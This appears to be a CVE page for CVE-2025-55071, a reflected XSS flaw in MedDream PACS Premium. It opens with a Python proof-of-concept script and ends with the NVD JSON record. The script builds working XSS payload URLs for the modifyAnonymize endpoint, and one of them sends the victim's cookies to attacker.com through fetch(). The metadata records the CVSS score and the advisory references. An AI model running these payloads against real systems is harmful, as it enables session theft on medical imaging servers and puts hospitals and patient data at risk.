CVE-2025-55071

import re import urllib.parse def generate_xss_poc(base_url, payload): """ Generate XSS PoC for CVE-2025-55071 MedDream PACS Premium modifyAnonymize Reflected XSS """ encoded_payload = urllib.parse.quote(payload, safe='') # POC 1: Basic script tag injection poc1 = f"{base_url}/modifyAnonymize?param=<script>alert('XSS')</script>" # POC 2: Event handler injection poc2 = f"{base_url}/modifyAnonymize?param=<img src=x onerror=alert(document.cookie)>" # POC 3: Data exfiltration payload poc3 = f"{base_url}/modifyAnonymize?param=<script>fetch('https://attacker.com/steal?c='+btoa(document.cookie))</script>" # POC 4: Using encoded payload poc4 = f"{base_url}/modifyAnonymize?param={encoded_payload}" return { 'basic_script': poc1, 'event_handler': poc2, 'data_exfil': poc3, 'encoded': poc4 } # Example usage base_url = "http://target:8080/meddream" payload = "<script>alert(document.domain)</script>" pocs = generate_xss_poc(base_url, payload) print("CVE-2025-55071 PoC URLs:") for name, url in pocs.items(): print(f"\n{name}:") print(url)

{"cve": {"id": "CVE-2025-55071", "sourceIdentifier": "[email protected]", "published": "2026-01-20T15:17:02.990", "lastModified": "2026-01-29T15:19:18.110", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (xss) vulnerability exists in the modifyAnonymize functionality of MedDream PACS Premium 7.3.6.870. A specially crafted malicious URL can lead to arbitrary javascript code execution. An attacker can provide a crafted URL to trigger this vulnerability."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) reflejado existe en la funcionalidad modifyAnonymize de MedDream PACS Premium 7.3.6.870. Una URL maliciosa especialmente diseñada puede conducir a la ejecución arbitraria de código javascript. Un atacante puede proporcionar una URL diseñada para activar esta vulnerabilidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:meddream:pacs_server:7.3.6.870:*:*:*:premium:*:*:*", "matchCriteriaId": "0F239E49-18E8-4DE0-B9B8-C220C3BC0C62"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2259", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2259", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}